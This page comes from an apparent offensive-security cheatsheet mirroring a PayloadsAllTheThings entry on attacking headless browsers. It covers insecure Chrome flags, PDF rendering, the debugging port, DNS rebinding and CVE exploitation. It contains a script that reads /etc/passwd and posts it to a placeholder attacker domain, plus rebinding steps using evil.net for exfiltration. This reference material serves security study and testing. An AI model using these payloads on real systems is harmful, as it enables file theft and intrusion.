repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
index.mdMarkdown202 lines9.5 KiBsource raw download

title: "Headless Browser" topic: "Headless Browser" topicSlug: "headless-browser" sourcePath: "Headless Browser/README.md" sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Headless%20Browser/README.md" sha: "3ac27901c711" isReadme: true#

Headless Browser#

A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals. Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.

Summary#

Headless Commands#

Example of headless browsers commands:

Local File Read#

Insecure Flags#

If the target is launched with the --allow-file-access option

google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir

Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the /etc/passwd file.

<script>
  async function getFlag(){
    response = await fetch("file:///etc/passwd");
    flag = await response.text();
  fetch("https://[ATTACKER.DOMAIN.TLD]/", { method: "POST", body: flag})
  };
  getFlag();
</script>

PDF Rendering#

Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.

Target: google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html

Remote Debugging Port#

The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port 9222 but it can be changed with --remote-debugging-port=.

Target: google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html

Tools:

[!NOTE]
Since Chrome update from December 20, 2022, you must start the browser with the argument --remote-allow-origins="*" to connect to the websocket with WhiteChocolateMacademiaNut.

Exploits:

Starting from Chrome 136, the switches --remote-debugging-port and --remote-debugging-pipe won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the --user-data-dir switch to point to a non-standard directory.

The flag --user-data-dir=/path/to/data_dir is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.

Network#

Port Scanning#

Port Scanning: Timing attack

Consideration:

DNS Rebinding#

  1. Chrome will make 2 DNS requests: A and AAAA records
    • AAAA response with valid Internet IP
    • A response with internal IP
  2. Chrome will connect in priority to the IPv6 (evil.net)
  3. Close IPv6 listener just after first response
  4. Open Iframe to evil.net
  5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
  6. From top window, inject script into iframe to exfiltrate content

CVE#

Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:

Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.

The --no-sandbox option disables the sandbox feature of the renderer process.

const browser = await puppeteer.launch({
    args: ['--no-sandbox']
});

References#